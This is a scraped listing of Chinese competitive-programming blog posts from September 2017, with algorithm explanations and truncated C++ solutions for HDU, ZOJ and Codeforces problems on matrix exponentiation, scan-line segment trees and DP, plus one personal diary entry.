（n\u003c=10,m\u003c=1E9） 思路： # 显然矩阵快速幂，但是不会构造矩阵，放弃。 看了很多题解…发现都是“显然”构造出矩阵。。。似乎是直接凑出来的。。。 可能需要积累一点经验。 对于这道题，我们观察到n很小 所以一个直觉就是从n-1列推到第n列，推到n+1列这样地推。 初始第一列的信息是（假设n为3） [a1] [a2] [a3] 然后我们想要得到 [a1+233] [a1+a2+233] [a1+a2+a3+233] 我们发现我们需要233这个常数项体现在矩阵中 而且之后还需要233,2333,23333体现在矩阵中。 那么，我们可以在初始添加23和3两项，这样23…3就都可以构造出来了（我觉得关键点就在这一步，应该是凭借经验吧，虽然刚开始有点难想到orz) 因此现在初始列变成了(其实放置顺序无所谓，不过这样放可以让ai和行数对应，比较友好。 [23] [a1] [a2] [a3] [3] 设该矩阵为A 现在我们想得到下一列 [233] [a1+233] [a1+a2+233] [a1+a2+a3+233] [3] 设该矩阵为B 那么现在的问题就是构造一个矩阵5*5的矩阵X,使得X×A=B 凭借直觉（经验？ 我们得到这样的矩阵X为 [10,0,0,0,1] [10,1,0,0,1] [10,1,1,0,1] [10,1,1,1,1] [0, 0,0,0,1] 接下来就是矩阵快速幂了，答案是 (X^m)×A.mat[n][0] 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月30日 星期六 17时47分20秒 4File Name :5015.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34int n,m; 35int a[15]; 36const LL MOD=10000007; 37struct Mat 38{ 39 LL mat[15][15]; 40 void clear() 41 { 42 ms(mat,0); 43 } 44 void print() 45 { 46 for ( int i = 0 ; i \u003c= n+1 ; i++) 47 { 48 for ( int j = 0 ; j \u003c= n+1 ; j++) 49 ","date":"2017-09-30","externalUrl":null,"permalink":"/2017/09/hdu-5015/","section":"Posts","summary":"hdu5015题目链接 题意： # 给出矩阵的构造规则： a[0][j] (j\u003e=1) 分别为233,2333,23333….给出a[i][0] (i\u003e=1)，对于其余的i,j,a[i][j]=a[i-1][j] + a[i][j-1]","tags":["矩阵快速幂"],"title":"hdu 5015 233 Matrix (构造矩阵，快速幂)","type":"post"},{"categories":["其他"],"content":"刚刚看了TBBT season 11 episode 1 Sheldon 和Amy 订婚了，Bernadette又怀孕了。 想想上一季结束的时候，大概半年前。 我好像还是只单身狗，手头没啥能看的offer，还有巨大的学业压力在前方。 感觉这半年收获了好多，多了一份担当，多了几个offer，可能是16年的运气真的太差了吧。 就沈阳打铁这事。。。就真的令人窒息。 这半年真的不知道是怎么过来的，虽然也知道“成年人的事情没有容易二字”， 也不是很愿意太过矫情… 而且日常警惕那种“毫无意义的自我感动” 不过还是真的想说 感谢菊苣@sxg的陪伴 感谢身边那些，在我最低沉最痛苦最萎靡的时候，一直给我加油打气，给我信心的小伙伴。 还要感谢自己….在最艰难的时候，也未曾想过放弃。 这几年真的是…过得太痛苦了… 真的好想大哭一场啊….","date":"2017-09-29","externalUrl":null,"permalink":"/2017/09/20170929/","section":"Posts","summary":"刚刚看了TBBT season 11 episode 1 Sheldon 和Amy 订婚了，Bernadette又怀孕了。","tags":["算法竞赛"],"title":"20170929","type":"post"},{"categories":["ACM"],"content":"hdu3642题目链接 题意：给出若干个（1000）长方体，求至少交三次的空间的体积。 尺寸为[x1,x2],[y1,y2],[z1,z2],其中x，y的坐标的绝对值不超过1E6,Z的坐标的绝对值不超过1E9. 思路： 线段树+扫描线。 由于Z的坐标范围比较小，我们的做法是 利用“微分”的思想，将每个长方体，想成若干的高度为1的矩形（矩形片） 因此就转化成了求矩形至少交三次的面积 其中和矩形交，也就是矩形至少交2次的面积比较类似，只不过线段树多维护一个至少三次覆盖的长度的域。 1void PushUp(int l,int r,int rt) 2{ 3 //cout\u003c\u003c\"l:\"\u003c\u003cl\u003c\u003c\" r:\"\u003c\u003cr\u003c\u003c\" rt:\"\u003c\u003crt\u003c\u003c\" id:\"\u003c\u003cid\u003c\u003cendl; 4 if (tree[rt].cnt\u003e=3) 5 { 6 tree[rt].one = tree[rt].two = tree[rt].three = X[r+1]-X[l]; 7 } 8 else 9 if (tree[rt].cnt==2) 10 { 11 tree[rt].one = tree[rt].two = X[r+1]-X[l]; 12 13 if (l==r) tree[rt].three = 0 ; 14 else tree[rt].three = tree[rt\u003c\u003c1].one + tree[rt\u003c\u003c1|1].one; 15 16 }else if (tree[rt].cnt==1) 17 { 18 tree[rt].one = X[r+1] - X[l]; 19 20 if (l==r) tree[rt].two = tree[rt].three = 0; 21 else 22 { 23 tree[rt].two = tree[rt\u003c\u003c1].one + tree[rt\u003c\u003c1|1].one; 24 tree[rt].three = tree[rt\u003c\u003c1].two + tree[rt\u003c\u003c1|1].two; 25 } 26 } 27 else 28 { 29 if (l==r) tree[rt].one = tree[rt].two = tree[rt].three = 0; 30 else 31 { 32 tree[rt].one = tree[rt\u003c\u003c1].one + tree[rt\u003c\u003c1|1].one; 33 tree[rt].two = tree[rt\u003c\u003c1].two + tree[rt\u003c\u003c1|1].two; 34 tree[rt].three = tree[rt\u003c\u003c1].three + tree[rt\u003c\u003c1|1].three; 35 } 36 } 37} 假设我们有一个长为5，宽为6，高为7的长方体 那么我们就要将其拆成7个，长为5，宽为6的矩形 将所有长方体处理完之后，枚举高度，对于每一个高度，如果矩形大于等于三个，就做一个“矩形的三次面积交”操作，将答案累加。 2A，PushUp的时候写错了一句。。。即如果父亲节点已经覆盖了两次，那么父亲节点被覆盖三次的是从左右儿子被覆盖一次的情况得来的 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月28日 星期四 14时18分35秒 4File Name :hdu3642.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 2","date":"2017-09-29","externalUrl":null,"permalink":"/2017/09/hdu-3642/","section":"Posts","summary":"hdu3642题目链接 题意：给出若干个（1000）长方体，求至少交三次的空间的体积。","tags":["扫描线","线段树"],"title":"hdu 3642 Get The Treasury  (线段树+扫描线，求长方体体积交)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意: # 求矩形周长并。 思路： # 线段树+扫描线。 和前面的求面积并比较类似，我们先考虑平行x轴的线段，考虑线段树，维护的一段区间中被矩形覆盖的次数cnt和至少覆盖一次的长度的len. 只不过我们这次求的是每条扫描线的长度对周长的贡献，因此不需要乘高度。 需要注意的是，每条扫描线对周长的贡献，是目前扫描线的长度，与上一次扫描线长度的差的绝对值。（不是与上一次答案的差的绝对值！） 演示x轴求长度和的部分 图片来自 lwt聚聚的博客 以及一个小细节是，求面积的时候，最后一条扫描线对答案是没有贡献的（因为每次是求当前扫描线与下一条扫描线之间的面积） 但是求周长的时候，最后一条扫描线是一定会对答案有贡献的。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月27日 星期三 21时24分20秒 4File Name :1828.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E4+7; 35int n; 36struct Seg 37{ 38 double l,r,h; 39 int d; 40 Seg(){} 41 Seg(double l,double r,double h,int d):l(l),r(r),h(h),d(d){} 42 bool operator \u003c (const Seg \u0026rhs)const 43 { 44 return h \u003c rhs.h; 45 } 46}a[N],b[N]; 47 48struct Tree 49{ 50 int cnt; 51 double len; 52}tree[N\u003c\u003c2]; 53double X[N],Y[N]; 54void pushUP(int l,int r,int rt,double *X) 55{ 56 if (tree[rt].cnt) tree[rt].len = X[r+1] - X[l]; 57 else 58 if (l==r) tree[rt].len = 0 ; 59 else tree[rt].len = tree[rt\u003c\u003c1].len + tree[rt\u003c\u003c1|1].len; 60} 61void update( int L,int R,int val,int l,int r,int rt,double *X) 62{ 63 if (L\u003c=l \u0026\u0026 r\u003c=R) 64 { 65 tree[rt].cnt+=val; 66// cout\u003c\u003c\"val:\"\u003c\u003cval\u003c\u003c\" rt:\"\u003c\u003crt\u003c\u003c\" tree[rt].cnt","date":"2017-09-28","externalUrl":null,"permalink":"/2017/09/hdu1828/","section":"Posts","summary":"题目链接 题意: # 求矩形周长并。","tags":["扫描线","矩形周长并","线段树"],"title":"hdu 1828  Picture （线段树+扫描线  求 矩形周长并）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 求n（1000）个矩形的面积交，也就是至少有2个矩形覆盖的区域的面积。 思路： # 和矩形面积并_hdu1542解题报告 类似 面积并问题中，线段树len维护的是至少覆盖一次的区域的长度 在面积交的问题中，我们需要多维护一个\"至少覆盖两次的区域的长度\"的域（设为double two;） 同时也要维护至少覆盖一次的区域的长度（设为double one;），是因为至少覆盖两次的区域的长度可以由至少覆盖一次的区域长度得到（好像是废话） PushUp的时候要格外注意当前节点被完整覆盖一次的情况。 此时tree[rt].two 可以由两个子区间的one的情况想加得到 （因为rt节点被完整覆盖了至少一次，那么如果rt儿子区间中被覆盖了至少一次，对于rt区间中被rt«1和rt«1|1覆盖至少一次的区间在对于rt区间就已经覆盖了至少2次） 以及要注意题意说得不够清楚。最后保留2位小数是四舍五入。 读入的实际上是左下角和右上角的点。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月27日 星期三 19时10分37秒 4File Name :1255.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=2E3+7; 35int n; 36struct Seg 37{ 38 double l,r,h; 39 int d; 40 Seg(){} 41 Seg(double l,double r,double h,int d):l(l),r(r),h(h),d(d){} 42 bool operator \u003c (const Seg \u0026 rhs)const 43 { 44 return h\u003crhs.h; 45 } 46}a[N]; 47struct Tree 48{ 49 double one,two; //分别是被覆盖一次以上的长度和被覆盖两次以上的长度。 50 int cnt; 51}tree[N\u003c\u003c2]; 52double X[N]; 53void PushUp( int l,int r,int rt) 54{ 55 //整段区间被完全覆盖2次，长度可以直接得到。 56 if (tree[rt].cnt\u003e=2) tree[rt].one = tree[rt].two = X[r+1]-X[l]; 57 else if (tree[rt].cnt==1) 58 { 59 tree[rt].one = X[r+1]-X[l]; 60 if (l==r) tree[rt].two = 0; 61 else","date":"2017-09-27","externalUrl":null,"permalink":"/2017/09/hdu1255/","section":"Posts","summary":"题目链接 题意： # 求n（1000）个矩形的面积交，也就是至少有2个矩形覆盖的区域的面积。","tags":["扫描线","矩形面积交","线段树"],"title":"hdu 1255 覆盖的面积 (扫描线+线段树 求矩形面积交)","type":"post"},{"categories":["ACM"],"content":"hdu1542题目链接 题意： # 求n(100)个矩形的面积并。 思路： # 扫描线+线段树 题目是2000年中欧区域赛的题目，虽然年代久远，但是有好几个点还是很值得学习的。 首先是离散化的适用范围: # 之前比较常用的是将比较大的整数值离散化，常常是因为数值太大无法作为下标。 # 那么其实，浮点数有的时候也需要进行离散化，比如作为数组的下标，比如用来枚举。 # 做法上是和将较大的整数值离散化没有区别，因为遇到的题目不多，所以特意记录一下。 # 第二点是扫描线的思想： 其实扫描线的思想很早就接触过，noip2011的时候，tyvj上有一道类似的题目，不过是一唯的，当时印象深刻的是@Ocean 兄的那个比喻： 一段公路上右很多区间要收不同的费用，区间的开始给一个标记，表示该段区间对答案有贡献，区间的结束拿走该标记，表示该段区间对答案的贡献结束。 这就是扫描线的思想。 第三个是处理线段覆盖问题的一般做法： 通常线段树的节点处理的都是点，处理线段的时候就会比较麻烦。 另外很重要的一点就是， 线段树都是维护一个点集， 但是对于边的问题就会变得很麻烦， 我们可以按照区间左端点建立线段树， 那么一个点表示的就不是点了， 而是起点在这个点的一个线段。 这样的话， 右区间就要相应的-1， 例如更新区间[1, 4]， 就相当于更新标号为[1, 3]的线段。 这也是处理线段覆盖问题的通用方法。 对于上面引用中提到的例子中“更新[1,4]，就相当于更新标号为[1,3]的线段”，是因为标号为1的节点代表区间[1,2]，标号为2的节点代表区间[2,3],标号为3的节点代表期间[3,4] 接下来具体讨论这道题目的做法： 将矩形按平行x轴方形构建扫描线（只是思想，不用实际构造）， 每个矩形2条平行x轴的边分类{上边，下边}2类，如果我们从下往上“扫描”线，那么[下边]就表示了对答案贡献的开始，[下边]就表示了对答案贡献的结束。 * 扫描线扫描的过程（建议配合代码模拟） 以下图转载自@kk303的博客 初始状态 扫到最下边的线, 点1→3更新为1 扫到第二根线, 此时S=lcnt!=0∗h两根线之间, 得到绿色的面积, 加到答案中去, 随后更新计数 同上, 将黄色的面积加到答案中去 同上, 将灰色的面积加到答案中去 同上, 将紫色的面积加到答案中去 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月27日 星期三 16时37分39秒 4File Name :1542.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=205; 35i","date":"2017-09-27","externalUrl":null,"permalink":"/2017/09/hdu-1542/","section":"Posts","summary":"hdu1542题目链接 题意： # 求n(100)个矩形的面积并。","tags":["扫描线","离散化","线段树"],"title":"hdu 1542 Atlantis  (线段树+扫描线求矩形面积并，模板题)","type":"post"},{"categories":["ACM"],"content":"zoj3606题目链接 题意：有个小女孩卖火柴,有n个人会来买，分别在时间t[i]，以价格p[i]，买的火柴个数为1+(k-1)%3,其中k为这是小女孩第几次卖火柴。 如果有大于w的时间没人来买火柴，小女孩就会睡着。小女孩睡着后如果有人来买火柴，那小女孩就会醒过来，但是不会卖给这个人火柴。现在问使营业额最大的基础上最小的时间间隔w。 思路： 显然，w应该是某2个顾客的来访时间只差（而不是什么任意值）. 因此我们可以通过枚举相邻访问时间的顾客的访问之间之差。 我们可以从小到大枚举w，这样就可以保证得到的最大营业额的对应w最小。 构造一颗线段树，维护4个域，cnt表示区间中，确实购买了火柴的顾客的人数，sum[i] (i属于0..2) 表示一个区间中最左边的顾客购买了i+1根火柴后，该区间的最大利润。 所以其实这道题类似hdu4288解题报告 维护sum[i]的时候，右一点绕，需要注意对于tree[rt].sum[i]，我们只是说该区间的最左边的人买了(i+1)根火柴，该区间的其他人买了几根火柴无所谓，我们只想知道该区间的利润。 wa了一次。。因为虽然我们分析出w一定是某2个连续的时间的差值，一定是整数值，但是为了迷惑人。。题目还是要以6位小数输出。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月26日 星期二 18时32分43秒 4File Name :3606.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int n; 36int total; 37struct node 38{ 39 int p,t; 40 int id; 41 bool operator \u003c (const node \u0026b) const 42 { 43 return t\u003cb.t; 44 } 45}a[N],b[N]; 46 47struct Tree 48{ 49 LL sum[3];//sum[i]表示当区间最左边的人买了i+1个面包时，该段区间的总销售额 50 int cnt; 51}tree[N\u003c\u003c2]; 52 53void PushUp(int rt) 54{ 55 tree[rt].cnt = tree[rt\u003c\u003c1].cnt + tree[rt\u003c\u003c1|1].cnt; 56 int len = tree[rt\u003c\u003c1].cnt; 57 for ( int i = 0 ; i \u003c 3 ; i++) 58 { 59 tree[rt].sum[i] = tree[rt\u003c\u003c1].sum[i] + tree[rt","date":"2017-09-26","externalUrl":null,"permalink":"/2017/09/zoj-3606/","section":"Posts","summary":"zoj3606题目链接 题意：有个小女孩卖火柴,有n个人会来买，分别在时间t[i]，以价格p[i]，买的火柴个数为1+(k-1)%3,其中k为这是小女孩第几次卖火柴。 如果有大于w的时间没人来买火柴，小女孩就会睡着。小女孩睡着后如果有人来买火柴，那小女孩就会醒过来，但是不会卖给这个人火柴。现在问使营业额最大的基础上最小的时间间隔w。","tags":["线段树"],"title":"zoj 3606  Lazy Salesgirl (线段树，单点更新，区间合并)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n（1E5）个操作，分为三种，add x表示将x加到集合中（保证集合中之前没有x)，del x表示从集合中删掉x(保证集合中一定右x),sum表示求集合中所有元素按从小到大排列后，所有的下标中满足i%5=3的a[i]的和。1=\u003cx\u003c=1E9 思路：很容易想到的是，由于插入和删除元素造成的位置改变是剧烈的，因此要分别维护i%5==k,k属于0..4的元素的和。 这道题的核心点在于，由于只有1E5个操作，我们可以将元素离散化，这样做的目的是，将每个数和位置一一对应，每个位置用1或者0，表示该位置对应的元素是否在集合中。 考虑线段树，维护6个域，1个是区间中，在集合中的元素个数，剩下5个域，分别表示以该区间的端点为位置1，位置x%i=k的元素的和（k属于0..4)。因此每个叶子节点都是位置1. 考虑PushUp, 区间元素和之间累加，难点在于其他5个域的维护。 假设当前区间为rt,那么对于sum[0..4] (sum代表的就是上面说的要维护的5个域），显然区间rt«1的答案可以直接贡献给rt. 对于rt«1|1的答案，考虑rt«1|1中位置为%5==x的元素和，rt«1中的元素个数为len个，那么rt«1|1中sum[x]对 rt中的sum[(x+len)%5]有贡献。 反推出对rt 中 sum[i]有贡献的是rt«1|1中的sum[(i-len+5)%5)] 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月26日 星期二 12时42分10秒 4File Name :4288.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int n; 36struct Node 37{ 38 int cnt; //区间中，在集合中存在的元素的个数。 39 LL sum[5]; //sum[i]表示该区间中，以区间起点为下标1开始计算时，位置为x%5==i时的元素的和。 40}tree[N\u003c\u003c2]; 41struct Opt 42{ 43 int opt; 44 LL val; 45}qu[N]; 46LL H[N],A[N]; 47int cnt; 48int Hash( int x) 49{ 50 return lower_bound(H,H+cnt,x)-H; 51} 52void PushUp( int rt) 53{ 54 tree[rt].cnt = tree[rt\u003c\u003c1].cnt + tree[rt\u003c\u003c1|1].cnt; 55 for ( int i = 0 ; i \u003c 5","date":"2017-09-26","externalUrl":null,"permalink":"/2017/09/hdu-4288/","section":"Posts","summary":"题目链接 题意：n（1E5）个操作，分为三种，add x表示将x加到集合中（保证集合中之前没有x)，del x表示从集合中删掉x(保证集合中一定右x),sum表示求集合中所有元素按从小到大排列后，所有的下标中满足i%5=3的a[i]的和。1=\u003cx\u003c=1E9","tags":["离散化","线段树"],"title":"hdu 4288 Coder (离散化， 线段树，单点更新，区间合并)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n,p,q,r,以及n（1E5）个数，所有数的范围都是[-1E9,1E9],现在问p_a[i]+q_a[j]+r*a[k]的最大值，满足1\u003c=i\u003c=j\u003c=k\u003c=n 思路：傻逼dp… 我。。好菜啊。。。万年dp苦手。 直接转载官方题解了。。。思路的重点是维护了一个最大前缀值。 dp[i][0] stores maximum of value p·a__x for x between 1 and i. Similarly dp[i][1] stores the maximum value of p·a__x + q·a__y such that x ≤ y ≤ i and dp[i][2] stores maximum value of p·a__x + q·a__y + r·a__z for x ≤ y ≤ z ≤ i. To calculate the dp: dp[i][0] = max(dp[i - 1][0], p·a__i) dp[i][1] = max(dp[i - 1][1], dp[i][0] + q·a__i) dp[i][2] = max(dp[i - 1][2], dp[i][1] + r·a__i) The answer will be stored in dp[n][2] 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月25日 星期一 19时26分34秒 4File Name :B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35LL a[N]; 36LL p,q,r; 37int n; 38LL dp[N][3]; 39int main() 40{ 41#ifndef ONLINE_JUDGE 42 freopen(\"./in.txt\",\"r\",stdin); 43#endif 44 cin\u003e\u003en\u003e\u003ep\u003e\u003eq\u003e\u003er; 45 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 46 LL ans = 1LL\u003c\u003c60; 47 ans*=-5LL; 48 ms(dp,0xc0); 49 //重要的是维护一个前缀最大值。 50 for ( int i = 1 ; i \u003c= n ; i++) 51 dp[i][0] = max(dp[i-1][0],p*a[i]); 52 for ( int i = 1 ; i \u003c= n ; i++) 53 dp[i][1] = max(dp[i-1][1],dp[i][0]+q","date":"2017-09-25","externalUrl":null,"permalink":"/2017/09/codeforces-855-b/","section":"Posts","summary":"题目链接 题意：给出n,p,q,r,以及n（1E5）个数，所有数的范围都是[-1E9,1E9],现在问p_a[i]+q_a[j]+r*a[k]的最大值，满足1\u003c=i\u003c=j\u003c=k\u003c=n","tags":["dp"],"title":"codeforces 855 B. Marvolo Gaunt's Ring (前缀最大，dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：有若干线段，给出起点和终点，问是否有一个线段是冗余的。冗余的意思是说，对于该线段所覆盖的所有整数点，没有该线段，也能被其他一个或者多个线段覆盖到。如果有，输出任意一个冗余线段即可。 思路：画画图？ 显然可以按照第一关键字左端点升序，第二关键字右端点降序（降序是为了处理 n=2,[1,2],[1,3] 这样的case容易一些），先考虑2种最简单的情况。 第一种是a[i+1]完全被a[i]包裹在里面，准确得说不一定是a[i]，而是之前所有线段的最大右端点的那条线段，此时a[i+1]就是冗余的线段。 第二种是a[i+1]的左端点在之前所有线段的最大右端点右边，此时没有冗余，继续进行。 接下来考虑比较复杂的相交情况，我们画图发现，当前线段是否冗余，只与a[i-1]和a[i+1]有关。 如果第i条线段的左端点，不超过第i-2条线段的右端点的右边一个位置，此时第i-1条线段就是冗余的。 wa了2次。。原因是没认真看题，l,r的范围的最小值是从0开始而不是1。所以总体来说是道水题（调教场的题这么水了么。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月25日 星期一 02时57分03秒 4File Name :E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=2E5+7; 35struct Node 36{ 37 int l,r; 38 int id; 39}a[N]; 40int n; 41int ans; 42vector\u003cint\u003eret; 43bool cmp( Node x, Node y) 44{ 45 if (x.l==y.l) return x.r\u003ey.r; 46 return x.l\u003cy.l; 47} 48int main() 49{ 50 #ifndef ONLINE_JUDGE 51 freopen(\"./in.txt\",\"r\",stdin); 52 #endif 53 cin\u003e\u003en; 54 for ( int i = 1 ; i \u003c= n ; i++) 55 { 56 scanf(\"%d %d\",\u0026a[i].l,\u0026a[i].r); 57 a[i].id = i; 58 } 59 sort(a+1,a+n+1,cmp); 60 ans = 0 ; 61 int mxR=-1; 62 int lsR=-1; 63 for ( int i = 1 ; i \u003c= n ; i++) 64 { 65 //puts(\"miao\"); 66 if (i\u003e=3) lsR=a[i-2].r","date":"2017-09-25","externalUrl":null,"permalink":"/2017/09/codeforces-edu-29e/","section":"Posts","summary":"题目链接 题意：有若干线段，给出起点和终点，问是否有一个线段是冗余的。冗余的意思是说，对于该线段所覆盖的所有整数点，没有该线段，也能被其他一个或者多个线段覆盖到。如果有，输出任意一个冗余线段即可。","tags":["乱搞"],"title":"codeforces edu #29 E. Turn Off The TV (思维，乱搞)","type":"post"},{"categories":["ACM"],"content":"比赛链接 10个月没写题了，菜啊。进行一点恢复性训练好了。 A: 给一个数，可以在填写若干（或者0）个前缀0，问能否变成回文数。 思路是直接删掉后面可能的出现的0再判断回文数就好。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月24日 星期日 13时51分06秒 4File Name :A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34bool check( int x) 35{ 36 vector\u003cint\u003eval; 37 while (x) 38 { 39 int tmp 